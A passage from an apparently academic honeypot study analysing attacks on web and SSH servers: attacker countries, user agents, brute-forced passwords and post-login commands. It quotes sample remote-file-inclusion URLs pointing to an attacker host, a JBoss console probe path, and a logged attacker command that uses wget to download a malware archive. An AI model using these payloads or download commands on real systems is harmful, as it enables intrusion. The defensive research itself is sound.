IDS















Table 4.8: Country participated on both type of honeypot web server. As you
see from the table United Kingdom participated to attack on both type of web
server with almost equal number of attacks. Country with maximum number
of attacks on web server honeypot with IDS has the least number of attacks on
web server honeypot without IDS
Figure 4.9: Number of attacks per hour on ssh honeypot with IDS. The x-axis
is the time and the y-axis is the number of attacks on that specific time.
get the attacks number of specific time, attacks attempted in all days of that
specific time sum up together. As you see from the figure maximum number
of attack attempted at time between 22:00 and 23:00.
Table 4.14 shows that whether the attacker try to connect to the out side world
or not. This table will helps also to identify whether that country come back
again to attack after a certain time or not. This can be decide by looking the
first occurrence time and last occurrence time and also by looking the number
off attacks. For example attacker from Netherlands, first occurrence of this
attacker was on 04.14.11 and last occurrence was on ’04.26.11’ after 12 days
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Made by ZmEu @ WhiteHat Team -
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Opera/9.80 (Windows NT 6.1; U;
en) Presto/2.7.62 Version/11.01
1 0
Table 4.9: Comparison attackers agent used on both type of web server. As
you can see from the table there are two attackers user agent Morfeus strikes
again and Opera/9.80 are not found on web server honeypot with IDS.
Figure 4.10: Number of attacks per days of month on ssh honeypot with IDS.
The y-axis is the date of the month and the x-axis is the number of attack on
that specific date.
and the number total attempts were 3, this shows that this attacker was back
again.
Figure 4.12 show the top used user without considering the user root(this is to
look the difference of other used users). Normally 7752 unique user was used
during the attack and from these top 20 frequently used user were selected. Of
course, root user was used most frequently than any other users. It was used
6232 times as a user.
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Figure 4.11: Unique-alerts or signatures on ssh honeypot with IDS. The x-axis
is type of signature and the y-axis is the percentage of that specific signature.
ET Scan potential signature was the highest attempts than the other signature.
Figure 4.12: Top 19 used user on ssh honeypot with IDS excluding the user
root.
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Figure 4.13: Top 14 attackers country on ssh honeypot without IDS. The fig-
ure shows that the top attackers country was from China by 8148 attack and
Germany become the second by 2599 attack.
Figure 4.14: Top 14 attackers countries participated on ssh honeypot without
IDS by percentage. The figure shows that the top attacker country was from
China by 41 percent and Germany become the second by 13 percent.
4.5 SSH server Honeypot without Intrusion Detection
System
Figure 4.15 shows authenticated country. The authentication were based on
the honeypot fake user and password. Usually fake user and password were
created in the honeypot ssh server tool (kojoney, the file is stored under:kojoney/fake-
users). In this file there are 23752 unique combination of user and password
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Figure 4.15: Top 8 succeeded or authenticated attackers countries to login on
ssh honeypot without IDS.
are stored.
Figure 4.16: Number of attacks per hour on ssh honeypot without IDS. As we
have seen from the graph more attempts occurred at 22:00.
Figure 4.17 shows top used user on ssh honeypot without IDS. There were
6997 unique user used by the attackers. Out of these the first most frequently
used user were root (5961 times). Number of root user is not seen in the graph,
this is due to a big difference when we compare with the other users. The first
top used user was ’failed’ and the second top used was user ’nagios’.
Figure 4.18 show the most frequently used password by the attackers. Nor-
mally the ssh honeypot created a fake user and password. As you see from
the figure the most used password was ’123456’, this password 358 times used
and the second most used password was ’password’ and this 216 times used
as a password it self.
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Figure 4.17: Top 19 used user on ssh honeypot without IDS. The x-axis is the
user and the y-axis is frequency of the user.
Figure 4.18: Top 20 used password on ssh honeypot without IDS. The x-axis is
used password and the y-axis is number of frequency used.
Table 4.17 shows most used command by the attackers on ssh honeypot with-
out IDS. As you have seen in the figure out of these commands ’w’ command
is the most used.’w’ command displays information about the users currently




Figure 4.19: Top 9 events of the network in percent














































Table 4.10: Attackers those try to connect to the outside world. The first col-
umn is the time stamp, the second column is the country and the third column




20189 Failed By password
3023 Authenticated By password
717 Failed By Keyboard in-
teractive
1040 Failed Empty user and
password


































Table 4.12: Type of signature by classification. Signatures are classified in to
six classes, out of these classes two of them were unknown classes. 1) ETC
SCAN-1 is for Potential SSH Scan, 2)ET SCAN-2 is for LibSSH Based Frequent
SSH Connections Likely BruteForce Attack!,3)ET SCAN-3 is for LibSSH Based
SSH Connection - Often used as a BruteForce Tool, 4)Stream5-a Reset outside




















Table 4.13: Number of attacks type by country on sshh honeypot with IDS.
The table show indirectly country participated in multiple attacks (when type





As src As dest First occurance Last occurance
Italy 212 2 6/4/2011 5:42 6/4/2011 9:54
Netherlands 3 1 04.14.11 08:49 04.26.11 10:22
Russian 1 1 04.17.11 15:30 04.26.11 10:22
China-
Beijing
1 2 7/4/2011 6:06 7/4/2011 6:06
China-
Beijing
0 1 04.21.11 0:12 04.21.11 0:12
United
states
0 2 3/4/2011 10:39 3/4/2011 10:39
Brazil 3 1 5/4/2011 3:05 5/4/2011 3:06
China-
Harbin
592 1 5/4/2011 13:33 5/4/2011 21:35
China-
Beijing
15 3 6/4/2011 1:27 6/4/2011 3:06
















Table 4.15: Most command used by the most attackers on ssh honeypot with
IDS. This table shows command used by the attackers after they succeeded to
login. The selected commands are most frequently used by skilled hackers.
















Romania uname 0—-a ; nano
















This chapter analyzes the results presented in the previous chapter. The first
section discusses common web server vulnerability. The second subsequent
sections will analyze the results of both web server honeypot (with IDS and
without IDS) and both type of ssh honeypot server (with and without IDS).
5.1 Web Server Vulnerability
The Web may be more vulnerable to attack now than at any time previously.
It is better to discuss some most common types of web vulnerability before
go to detail analyzing our attacker result. This section will discus four basic
common Web application attacks, it is important for administrators to have a
thorough knowledge of these attacks. The attacks are the following:
1 Remote Code Execution
2 Remote File Inclusion
3 SQL injection
4 Local File Inclusion
5.1.1 Remote Code Excution
As the name suggests, this vulnerability allows an attacker to run arbitrary,
system level code on the vulnerable server and retrieve any desired informa-
tion contained therein. Improper coding errors lead to this vulnerability [46].
When register-globals ( is a PHP setting that control the availability of ”super
global variables” in PHP scripts is set to ”on” in php.ini, it can allow a user
to initialize several previously uninitialized variables remotely. In this case,
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uninitialized parameters are used to include unwanted files from an attacker,
and this could lead to the execution of arbitrary files from local/remote loca-
tions.
lets look at exploit code:
http://www.vulnsite.com/index.php?page=\
http://www.attacker.com/attack.txt
In this case, the file ”http://www.attacker.com/attack.txt” will be included
and executed on the server. It is a very simple but effective attack [46].
5.1.2 Remote File Inclusion
This attack is very common and famous [35]. The biggest challenge standing in
front of security experts is to detect an attack that cannot easily be detected us-
ing signatures; remote file inclusion (RFI) is a good example of such as attack.
The application vulnerability leading to RFI is a result of insufficient valida-
tion on user input. In order to perform proper validation of input to avoid RFI
attacks, an application should check that user input does not contain invalid
characters or references to an unauthorized external location [24]. This attack
allows remote code to be run.
The following shows an example of multistage RFI attack:
/vwar/backup/errors.php?error=http://some.page/folders/id.txt
/vwar/backup/errors.php?error=http://some.page/folders/bot.txt
The first file is the so-called ’id’ script. The attacker uses this file to test to see
if the victim is vulnerable to the RFI vulnerability. It often contains a function
to make diskfreespace and disk-total-space human-readable. And then, the
attacker expect that he is dealing with a real victim, the attacker will send the
second file. Most of the time, the payload or second stage, is a PHP bot or a
shell.
5.1.3 SQL Injection
SQL injection is a very old approach but it is still popular among attackers.
This technique allows an attacker to retrieve crucial information from a Web
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server’s database. Depending on the application’s security measures, the im-
pact of this attack can vary from basic information disclosure to remote code
execution and total system compromise. It is an instance of a more general
class of vulnerabilitie that can occur whenever one programming or scripting
language is embedded inside another.
Currently our web server honeypot (Glastopf) does not provide any kind of
SQL injection handling except for logging it to our databases.
5.1.4 Local File Inclusion
Local File Inclusion (also known as LFI) is the process of including files on a
server through the web browser. This vulnerability occurs when a page in-
cluded is not properly sanitized, and allows directory traversal characters to
be injected. The following example is the most common type of a PHP script












A legitimate request made to the script could look like this:
http://example.com/index.php?file=contactus.php
The following example show the hashes of all password on the server, which




5.2 Analysis Of Web Server Honeypot
The following sections will analyze web server honeypot with IDS and web
server honeypot without IDS.
5.2.1 Analysis of Web server Honeypot With IDS
There were many attacks on this web server from different countries as pre-
sented in the result sections. They used different web server vulnerabilities.
Here, unique type of attack will be analyzed in detail. so, others will be ad-
dressed(because a number of attack files in our database, which is similar to
the unique type).
Script Attacks On Web Server Honeypot with IDS
The following is request from table 4.2 will be analysed below:
"ut4.isti.cnr.it" "IP" "2011-04-07 01:49:44" +0600
"/Admin/scripts/setup.php" "ZmEu"
The attack was from Italy with host name ”ut4.isti.cnr.it”, the attacker host
was Debian 5 on XEN Virtual tool. As the full domain tells us, the attackers
are from the Institute of the National Research Council of Italy CNR. This at-
tack is categorized under ”script attacks” and ”PHP Code Injection Exploit”.
Script exploit attack is the most common exploit that could happen to a ded-
icated server. The configuration setup script (aka scripts/setup.php) in ph-
pMyAdmin 2.11.x before 2.11.9.5 does not properly restrict key names in its
output file, which allows remote attackers to execute arbitrary PHP code via a
crafted POST request. The hackers would pass the script some variables and
commands in an http URL and the vulnerability is that the script would allow
the commands to be run. The exploit could give a non root access to a server.
In this type of attack, the hacker can have the option to put in the URL a few
commands and the paths to other scripts they want to upload which then al-
low them to upload more scripts and run more commands etc... [6]. From
the above sample script attack, the agent for this attack was ZmEu. This
agent tells that, the entries for this attack seems to be attacks against mysqlad-
min/phpmyadmin.
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Roundcube Attack On Web Server Honeypot with IDS
This attack was from Vietnam with ip address ***. Here, the system have two
possibilities to be attacked by roundcube, the attacker think that either this
server are very popular or are very insecure. Before start the experiment the
first step is to attracted the attacker. Don’t forget, good name have been given
for the honeypots, that helps to be attacked(financial-1). Here under the cap-
tured path of the attacker. The following shows the Vietnam attack:
Vietnam attack:
static.vdc.vn 222.255.239.194 2011-03-31 12:47:52 +0600
/roundcube//bin/msgimport
Toata dragostea mea pentru diavola 128.39.73.184
The Vietnam attacker uses ”Toata dragostea mea pentru” scanner. It is a Ro-
manian Vulnerability Scanner. In the Romanian language it means ”All my
love for devil girl” [23]. This helps the attacker in scanning all the latest se-
curity holes from web application. Applications like phpMyAdmin, Drupal,
webmail clients and many others [23]. Roundcube is a popular webmail sys-
tem and apparently there are some vulnerabilities in its code. So, the attackers
try to attack the clients, fortunately this honeypot do not have such services in
our honeypot web server emulator.
Login Attack On Web Server Honeypot with IDS
There were two frequently used login attacks used by United Kingdom attack-
ers, and these are:
1 . /tracker/login/-page.php attack
2 . mantis attack
In the first attack, the attacker wants to exploit php login. You can see the full
request and the type of agent used.
UK attack:
"host" "ip""2011-03-30 09:54:57""/tracker/login-page.php"
"Toata dragostea mea pentru diavola"
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The UK attacker uses ”Toata dragostea mea pentru diavola” as discussed in
the previous subsection, it helps to exploit the latest security hole of web ap-
plications in this case to crack the php login.
The second attack mantis contains a flaw that allows a remote cross site script-
ing attack. This could allow a user to create a specially crafted URL that would
execute arbitrary code in a user’s browser within the trust relationship be-
tween the browser and the server, leading to a loss of integrity.
Unique User Agent Used On Web Server Honeypot with IDS
The following section will analayze different user agents used from result table
4.1:
1 . Mozilla/4.0 (compatible; MSIE 6.0; Windows 98): Probably the attacker
is bothering changing his user-agent, and try to do some thing via an
infected host or it may be spam.
2 . Made by ZmEu @ WhiteHat Team - www.whitehat.ro: Whatever else
zmeu is, it’s bad news. Exploits/actions resemble Toata’s but hits not
nearly as rapid-fire.
3 . Morfeus Fucking Scanner: It is a scanner that looks for vulnerabilities
in PHP based web sites. This attack was from United Kingdom, I tried to
see different urls and they put this bad guy under offensive IP databases.
Normaly this attack is classified under script attack.
4 . /rc//bin/msgimport: These are scans for the Roundcube(mail system)
vulnerabilities. This type of attack was discussed in the previous subsec-
tions. It is new type of attack spreading rapidly. Infection of systems via
a bot-net client or other form of malware is likely.
5.2.2 Analysis of the honeypot web server with IDS from different
angles
From figure 4.1 one can see that most of the attacks on this web server come
from Turkey with domain name host-IP.teletektelekom as shown under table
4.3 and server Type: Microsoft-IIS/6.0. There were 103 attack in number which
is 54 percent of the total attack. The attack started on 2011-03-26 14:30:31 and
ended on 2011-03-27 20:57:28. The attacks took 1 minute and 29 seconds con-
tinuously with out getting interrupted.
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Most of the attacks from this country were script and SQL injection type at-
tacks. SQL injection is a code injection technique that exploits a security vul-
nerability occurring in the database layer of an application. The attacker uses
one constant agent or browser: ZmEu.
The second top attacker on this web server was from Italy with domain name
ut4.isti.cnr. as shown under table 4.3. The total attack from this country was
18 in number and it is 10 percent of the total attack. The attack started on 2011-
04-07 01:49:36 and ends 2011-04-07 01:50:01. The attacker did 15 attacks during
this period of time.
The attacker came back again on 2011-04-09 08:17:59 and did 3 attacks. The
attacker used the same agent (ZmEu ) for both attacks. Most of the attack was
targeted on exploiting vulnerability of phpmyadmin ( /phpMyAdmin/scripts/setup.php)
and there was some SQL injection attack(//mysql/) attack.
The third top attacker was from Vietnam with domain name ’static.vdc.vn’
as shown under table 4.3. This domain name have been under the list of 50
compromised hosts that used for DDoS attacks. of’course with different ip ad-
dress. This attack was targeted on web applications vulnerability . Below are









From the above request the attacker tries to use the roundcube mail applica-
tion vulnerability(This was discussed under roundcube unique attack before).
The other attacks from other counties are similar with these three top attack-
ers. But one unique attack with domain name www.drawerslides.com was
attempted. The attacker is a company under a division of Bold Hardware Co
from United States. The attacker used Mozilla/4.0 (compatible; MSIE 6.0; Win-
dows 98) as an agent or browser. The attacker tries to exploit the vulnerability
of JBoss(java application server).
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This attacker did the following request to this web server.Unfortunately the
system do not have an emulator for this application from the honeypot:
//jmx-console/HtmlAdaptor
This attack can be categorised under Remote command execution. Jboss has
some good management tools that are used to deploy new applications and to
perform privileged actions like executing scripts on the remote host Jboss JMX-
Console helps to deploy the different file to the remote host, and HtmlAdaptor
provides which provides the implementation of serviceInfo interface and acts
as the web-server.
Out of the total 199 attack on this web server, 56 percent of the attack attempted
on 2011-03-27, and this is due to an attack from Turkey, see figure ??. The sec-
ond maximum attack was recorded on 2011-04-07 and this attack was due to
many attack from Italy on this day, and the third maximum attack was on
2011-03-31 and this is due to the attack from Vietnam on this date. If you see
figure 4.3 the maximum 136 attacks was attempted on the second week of the
data collection period. The data was collected only for 6 week and maximum
attack was recorded on the second week which finally decreases to 10 attacks.
One can analyze from the above paragraph, more attacks come some days af-
ter the system opened for public because they may not know about the system
on the first day.
The most frequently used user or browser to attack this web server is ZmEu
attacks, this shows that most attacker used scripted attacks to hack this web
server. ’Toata dragostea mea pentru diavola’ is the second most used user
agent by the attacker, and mostly used for mail server attack. Table 4.2 shows
that most countries try to exploit vulnerability of PHP but attacks from Viet-
nam tried to exploit vulnerability of mail server by using the above Romanian
user agent.
For this web server honeypot with IDS, one can not see or the honeypot with
IDS could not capture ’attmnt’(attacker NT-BY information) and ’attmail’(attacker
whois mail results). From table 4.3 these two columns are empty. This will be
see in more detail under analyze the web server honeypot without IDS section.
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5.3 Analysis Of Web Server Honeypot Without IDS
From the result chapter different types of graphs have been plotted under Web
server Honeypot without Intrusion Detection System section. Here start to an-
alyze the results from starting the first figure 4.4. From this graph one can see
that the maximum number of attacks recorded on this type of web server was
from United States with a value of 13 attacks(this is 24 percent of the total at-
tack).
The second attacker was from United Kingdom with 9 attack or 16 percent of
the total attack. The total number of attacks on this web server were not so
big as the previous web server(web server honeypot with IDS). All attackers
in this web server can be found in the previous types of web server honeypot
except Norway. Number of attacks from Norway was only 3 which means
6 percent of the total attack. The host name of this attacker was ’skogveien-
912.studby.umb.no’.
This attacker tried the SQL injection test tool. This vulnerability test tool was
created for beginner webmasters The tool will perform simple test to check
whether a web page is vulnerable to SQL injection. It cannot determine vul-
nerability for sure, but will at least try. The following request gives more in-
formation about the attacker.
skogveien-912.studby.umb.no ** 2011-03-24 15:31:17
IN/TERNAL_TEST/vuln.php=http:
//host-ip/index.htmlback Opera/9.80
(Windows NT 6.1; U; en) Presto/2.7.62




The attacker used Opera/9.80 (Windows NT 6.1; U; en) as user agent for the
attack. IN/TERNAL-TEST/vuln.php is the SQL injection test tool, the attacker
tried to upload index.htmlback file to the server host. Here they also used file
inclusion attack.
UNINETT-MNT TRUSTED-INTRODUCER-MNT is attacker NT-BY informa-
tion and Petter.Kongshaug@uninett.no is attacker whois mail results.
From figure 4.5 the maximum number of attacks by day on this web server
were 14 and this was attempted on 28.03.2011. All attacks on this day came
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from United States. The second maximum number of attack was 7 and this
was attempted on 30.03.11.
If one look the attack from week perspective, the maximum attack was recorded
at week 14 or one week after we start collecting data. Minimum number of at-
tacks was attempted on week 15, just one week after the maximum attempted.
One can conclude that most attack occurred just one week after the system is
opened. We faced also the same thing on the previous web server honeypot
with IDS.
The same thing as web server honeypot with IDS, ’ZmEu’ is the most used
user agent by the attacker on this web server. But here new user agent ’Mor-
feus strikes again’ was used at the second place. 13 attacks or 21 percent of
the total attack used this agent. But this agent was never used by web server
honeypot with ID before.
This agent is looking for README’s of applications such as squirrelmail, ph-
pmyadmin and the like. This means the attacker tried to look the the php-
myadmin in our server. The README’s file gives a lot about the version of
our script, so the attacker could possibly hack the script. All these attacks
came from United States. This kind of attackers is smarter than the previous
attackers because they will plan how to attack the targeted host after they un-
derstand more about the system.
The third most used agent on this web server was the Romanian scanner tool
’Toata dragostea mea pentru diavola’. In the previous web server honeypot
this tool has been discussed, it helps for scanning all latest security holes from
web application. All attacks used this agent came from United Kingdom. One
can see from table 4.6 most request of United Kingdom( /turbo/mantis/login-
page.php and /tracker/login-page.php) were done using this user agent. You
can see the following attackers request.
’ip’ ’2011-03-30 09:54:57’ ’/tracker/login_page.php’
’Toata dragostea mea pentru’
’CORE-BACKBONE RAPIDSWITCH-MNT’ ’sales@eukhost’
From the above request, the first entry is the attackers ip and the second entry
is the time stamp and the third entry is the request of the attacker. The attacker
tried to exploit the php login using user agent Toata dragostea mea pentru.
They did the same thing on web server honeypot with IDS in previous section.
In web server honeypot without IDS, we have more fingerprints of the attack-
ers, the attackers left it’s NT-BY information and it’s whois mail results, but
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this is not the case for web server honeypot with IDS. As one can see from the
table 4.7 the last two columns(attmnt and attmail) gives more information but
not seen in the table 4.3. These two samples attack tables are for the same kind
of attackers. The attackers are from Turkey, Italy and Vietnam and all these
attacks attempted on the same time.
If we look at the two kind of web server from different aspect one can analyze
the following:
• Number of attacks: As you see from the results section, there were more
attacks recorded in web server honeypot with IDS(199 attack) than web
server honeypot without IDS(55 attack). On both web server the maxi-
mum number of attack was recorded one week after the system opened.
• Country: All countries participated on web server honeypot with IDS
were also participating on the other, except one country. United King-
dom attackers participated on both web servers, by equal number of at-
tacks.
• User agent: ’Morfeus strikes again’ was never used(not shown) as a
browser on web server honeypot with IDS. ZmEu user agent was used
as a browser on both web server most frequently.
• Fingerprint: More attackers informations gathered from web server hon-
eypot without IDS, attmnt(attacker NT-BY information) and attmail(attacker
whois mail results).
5.4 Analysis Of SSH Server Honeypot
This section contains analysis SSH honeypot with IDS and SSH honeypot with-
out IDS base on the result section.
5.4.1 Analysis of SSH honeypot with IDS
One can see from figure 4.7 the most attacks on this ssh honeypot server comes
from China. The total number of attacks from this country was 1444. The sec-
ond most attacks recorded on this ssh server was from Netherlands with 1019
number of attacks. Germany took the third place by 779 attacks. From the
percentile attacks graph on figure 4.8, China has 27 percent of the total attacks
attempted. Netherlands has 19 percent of the total attack attempted. Germany,
Pakistan and Cameroon share the same 14 percent of the total attack.
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Table 4.11 shows the number of attempts succeeded to login to the system and
number of attempts that failed to login to the system. Out of the total 24969
tried to get login to this ssh honeypot server, 3023(12 percent) were authen-
ticated, and the other 21946(88) were failed. The failed attempts can be seen
in three ways. The first failed was due to wrong password, it means that the
attacker tried to login with wrong password. This directly means the attacker
could not crack the user and password of the ssh honeypot server. The number
of wrong password were 20189 or 91 percent of the total(out of failed attempt)
trail.
The second failed was due to keyboard interactive. Keyboard-interactive au-
thentication is a mechanism defined by the secure Shell protocol that allows
for a generic, interactive exchange of messages between an ssh server and the
ssh client that it is attempting to authenticate. Out of the total failed attempt
717 or 3 percent was failed due to this keyboard interactive. The third failed
was due to empty user and password, this is when attacker tried to login with-
out giving user and password. 1040 attempts or 4.7 percent of failed attempts
were with empty user and password.
Figure 4.9 shows the number of attack per hour. The maximum attack was
recorded at time 22:00. It was seen that most attacks comes from china, and
for china this time is 11:00 and for Europe countries 5:00. One can see that
attackers are smart, they did their attack at off time or not working hour. They
expect that the administrator is not in his job at this time. Of course no one is
expected at their job during this time.
Figure 4.10 show the maximum attack was recorded on 23.04.2011. If you look
your calendar this day was weekend(Saturday), it is the same logic as the pre-
vious one. The attacker attacked the system when there was no system admin-
istrator on the job.
Analyzing Unique Attack on SSH Honeypot Server with IDS
In the previous section attacks on this server from number of attack perspec-
tives, from country perspective and from time perspective was analyzed. The
following analyze will be from unique alert or signature perspective. This will
tell which signature were used frequently.
Figure 4.11 show most of the known kinds of signature attack . One can see
that the most recorded signature was ET SCAN Potential SSH Scan by having
44 percent out of the total signature. ET SCAN LibSSH Based SSH Connec-
tion (Often used as a BruteForce Tool) and ET SCAN LibSSH Based Frequent
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SSH Connections (Likely BruteForce Attack!) have 22 percent and 19 percent
respectively. Since both attacks are probably BruteForce Attacks, one may add
both signatures together and get 41 percent of the attack was BruteForce At-
tack. The other three stream5 signatures are 9 percent of the attack.
The reason behind most of the attack being potential ssh scan and bruteforce
attack is that, the attacker tried their best to get access on the system buy using
different users and passwords.
Table 4.13 show countries that participated on different types of attacks which
gives full information about which country participated on multiple attacks
or which country attempted only on single type of attack. From the table,
attackers from Pakistan and China participated in all recorded type of signa-
ture. Italy and India participated on 5 signature type(except stream5: TCP
Small Segment Threshold Exceeded). Indonesia, United States, Republic Ko-
rea, Brazil, and Vietnam participated on four signature except on two stream5
types of signature. From this analysis attackers from Pakistan and China are
the most high level attackers they tried the maximum type of attacks from the
recorded type of signature.
Table 4.14 tells more information about the attackers country, of course, coun-
try stands here a specific ip address. From the table, one can understand that
all countries selected under this table made connection to the outside world
or to their specific ip address. For example attackers from China-Beijing did
3 connection to the outside(to their ip address) after they logged in. United
States and Italy did one connection to their ip.
There are two countries attackers seen only as destination addresses. This
means the two attackers from United States and China-Beijing have tried to
connect to other ip addresses after they logged in using their ip. Why attack-
ers did after they logged in to the system and did connection to the outside?
They tried to download some packages. For example attacker from Romania
tried to download the following:
***** spam authenticated password ; w; wget; uname 0a;
wget diabwolo.altervista.org/allex.tgz; wget diabwolo.alt
This attacker authenticated by user name ’spam’ and ran many commands
that helped him to know more about the system. The attacker tried to down-
load allex.agz zipped file from diabwolo.altervista.org. The attacker directly
connected to 78.129.205.2, Malcode Database and tried to download malicious
code from this malicious code database.
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Analyzing used command by top attackers
In the previous sub sections: signature used and it’s percent, multiple attacker
countries, and countries that tried to connect to outside world and what they
planned to download? all these are analyzed. The following will look at more
analysis of commands used by attackers and what they get from the output
the command? and finally will analayze used user name by the attacker and
why they prefer to choose this user name?
From result table 4.15 one can see that, attackers used many types of com-
mands. Most of the commands give information about the kernel used, type
of user, who logged in last, even trying to reboot the system. We will see each
of the command in detail that was used by them.
• ’w’ command: This command was used more frequently than the others.
It displays information about the users currently on the machine, and
their processes.
• ’uname command: The uname command writes the standard output
name of the operating system. From this command the attacker can get
full information about the kernel type and version, so he may use vul-
nerability in that version of system.
• ’uptime’ command: This command gives the same information contained
in the header line displayed by command ’w’
• ’wget’ command: The attacker used this command for downloading pur-
poses.
Figure 4.12 shows how the attacker frequently used a specific user name. Most
linux system have user name root as a supper user. It is no surprise, if an at-
tacker attacks a system by using root as user name. During the experiment
time interval attackers used mostly root(6232 times) as a user name. From the
figure 4.12 one can see that, the most used user by attacker was ’cvsuser’ ex-
cept root. To know the reason behind why they prefer this name? The answer
is not so difficult if some one understands function of ’cvs’.
CVS(Concurrent Versioning System) is a widely used version control system
for software development or data archiving solutions. CVS keeps track of all
work and all changes in a set of files. Due to this reason, attackers expect that a
system will have a user name ’cvsuser’ that has the privilege of running these
processes. The second most used user was cvsroot. The reason is the same as
’cvsuser’ except that they have changed the last ’user’ to ’root’.
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The third and forth most used user was ’iu’ and ’vlab’ respectively. Attackers
get this name from the domain name of this machine.
5.4.2 Analysis of SSH honeypot without IDS
Under this section will analayze the SSH honeypot without IDS, the analysis is
based on the result that seen in the result sections. Figure 4.13 shows that the
top attackers on this ssh server was also china with attacks numbering 8148.
The second top attackers were Germany with attacks numbering 2599. Pak-
istan and Germany took the third place with the same attack number of 2014.
If one compare these top attackers by percent, China covers 41 percent of the
attack and Germany covers 13 percent. From the attackers succeed or authen-
ticated point of view, Netherlands take the first place by getting 807 authenti-
cation and China follow by 631 authentication. One can analyze from figure
4.13 there is a big difference in number of attacks between China and Germany.
This shows that if you have 5 attacks 2.4 of them are from China but the bad
thing for them is that they succeeded only 7.7 percent. Netherlands attackers
are authenticated 33.5 percent of their attack.
The attacks from time perspective, one can easily analyze from figure 4.16 the
maximum attack occurred at 22:00. The second maximum attack occurred at
9:00 and the third maximum attempt was at 16:00. All these three pick load
times that are not working time in Norway.
On this ssh honeypot server the most used user was ’failed’ and the second
most used user was ’nagious’. The third most used user was ’cvsuser’, the
previous section illustrated that this user was the top used user on ssh honey-
pot server with IDS. Nagios is a monitoring tool, it helps to ensure systems,
applications, and services are functioning properly. The attacker expects this
tool is running in the system with this process name or someone used this
name having a privilege on nagios. All the above statistical order for used
user names are not including used user name ’root’. This is because, as one ex-
pects most linux system has user name root, attackers used root as user name
6232 times or 15 times the user name ’cvsuser’. So, here top user mean that
this user is most used next to ’root’.
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Analyzing Used Password And Command By Attackers
The next most important aspect to be analyzed is the password used by the
attacker. The methodology chapter discussed that, in this ssh honeypot server
there are fake users and this fake user has a fake password. The attacker ex-
pected to crack these users and passwords to login into the system. One can
see from figure 4.18 the top used password was ’123456’. The attacker used
this 358 time as a password. The second most used password was the word
’password’ itself and it was used 216 times. The third most used password
was the number ’1234’ and it was used 148 times.
Figure 4.16 shows the most used combination of user and password. Fortu-
nately out of these combinations using ’root’ as a user and ’123456’ as a pass-
word were authenticated by the system. The same thing using ’admin’ as a
user and ’1q2w3e4r’ as a password were authenticated.
Most of the commands used on this server were used in the previous ssh hon-
eypot server with IDS. The following will look at commands that are not used
by the previous ssh honeypot with IDS and analyze them and answer why
attackers used this command? Table 4.17 show which country used which
commands. In this ssh honeypot server, one can see that more countries tried
to run many commands than the previous ssh honeypot with IDS.
• ’passwd’ command: This command was used by Spanish and Chinese
attackers. This command is used for changing passwords. The attackers
tried to change the root password of the system by using this command.
• ’curl’ command: This command was used by Chinese attackers, they
used this command to get files from the server. The command helps the
attacker more because this command works without user interaction or
any kind of interactivity.
• ’lynx’ command: This command was tried by Chinese attackers. lynx is
a browser that works in console mode, it will display hypertext markup
language (HTML) documents containing links to files residing on the
local system. The attackers tried this command, unfortunately this server
is dedicated only for ssh server.
5.4.3 Analayzing The Network
This section will try to look just the events from the network perspective. This
analysis is not directly related with honeypot servers, but it supports our anal-
ysis. The network consists all machines inside the vlab.iu.hio.no network.
From figure 4.19 one can see that the most event in the network was NMAP
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having 30 percent of the total network events. This is because, nmap was de-
signed to rapidly scan large networks, although it works fine against single
hosts. Attackers will have much information such as what services (applica-
tion name and version) those hosts are offering, what operating systems (and
OS versions) they are running, what type of packet filters/firewalls are in use,
and dozens of other characteristics.
The second largest attempted event was multiple failed logins in small period
of time and this indicates that the system was under attack and tells that some-
body is trying to gain access to the system by running multiple passwords
against a given account. The third most attempted event was failed password,
it tells that attackers used wrong passwords(number of attempt that the at-
tacker failed to crack the password).
Result table 4.4 shows unique signature attacks that was collected by ossec.
From these signatures attempt to login non user exist was the top attack event.
These supports that attackers mostly trying to login using different user name
as stated under user and password sections.
One can see from the geographic report figure 4.20 more attacks were from






The introduction chapter stated that, the main target of this project was to
collect and analyse the attackers activity through the honeynet network and
normal secured system. With the honeynet it will look to see if there is new
attacker activity that is not detected by the security tool.
A network was designed specifically for the purpose of attracting potential
attackers. Proxmox was the chosen preference for virtualization purposes be-
cause many honeynet projects have worked on using Vmware. The reason
behind proxmox being selected as a virtualization tool is that virtualization
tools have security aspect. It is good to see if high level attackers exploit the
vulnerabilities of these virtualization tools.
For security purposes in the network setup, the preferred method of storing
the collected data will be in a MySQL database. instead of inside the honeypot
machine itself. This reason for this is that if the honeypot machine is compro-
mised we will potentially lose the collected data and in addition to this, the
attackers may know that this system is not real. Therefore a dedicated ma-
chine is given for MySQL server and this server is secured with a firewall and
intrusion detection tools such as OSSEC.
From the outlined in the architecture, an additional dedicated OSSIM machine
was used. OSSIM, or Open Source Security Information Management, is a col-
lection of tools designed to aid network administrators in computer security,
intrusion detection and prevention [51]. It provides all of the functionality re-
quired to detect and profile attacks and provides a comprehensive, intelligent
Security Management platform and toolset.
An OSSIM analyzed report will support all our honeypots collected data. Since
OSSIM has many features and it supports intrusion detection systems, it col-
lects intrusion detection system data from honeypots running with IDS. OS-
SIM supports some honeypots tools, unfortunately it doesn’t support the web
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server honeypot, glastopf and ssh honeypot or kojoney.
To work on the problem stated, two honeypot services, web server honeypot
and ssh server honeypot were selected. Currently, attacks against web appli-
cations make up more than 60 percent of the total number of attempted attacks
on the Internet [37].
The first network attacks exploited vulnerabilities related to the implementa-
tion of TCP/IP protocol suites. With the gradual correction of these vulner-
abilities, attacks have shifted to application layers and particularly the web,
given that most companies open their firewall systems to web traffic . Attacks
on web applications are always harmful since they give the company attacked
or breached a bad image. A successful attack can have any of the following
consequences:
• Website defacement
• Modification of data, and particularly modification of users’ personal
data
• Stolen information
• Web server intrusion
Data collected by DShield.org, a organization that aggregates firewall logs
from across the world shows no abatement in brute-force password attacks
for secure shell, or SSH, devices[15]. Attacks are done by sending different
user names and passwords to the devices. Even a tiny percentage of successes
can prove valuable if the attacks are sufficiently widespread.
SSH is used to create an encrypted channel so administrators can transfer files
or execute shell commands on a remote server or network device. If an attacker
gains access to an SSH account there is a fair chance they will get access to all
kinds of sensitive resources. Bots that perform the scans are often equipped
with tools that automate privilege escalation once an SSH account has been
breached. Due to the above reasons we have selected the web and the ssh hon-
eypot servers.
6.1 Web Server Honeypot
On both web server honeypots, with and without an intrusion detection sys-
tem, most of the attacks were script based attacks. Many sites are open to
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simple script injection attacks. The attackers can deface the site by displaying
HTML, or potentially execute client scripts to redirect the user to a hacker’s
site.
Script injection attacks are also a concern of all web developers. There are
some ways to prevent this attack from happening. For example, by using a
request validation mechanism. Request validation, prevents the web server
from accepting content containing un-encoded HTML [5]. It helps to prevent
some script injection attacks whereby client script code or HTML can be un-
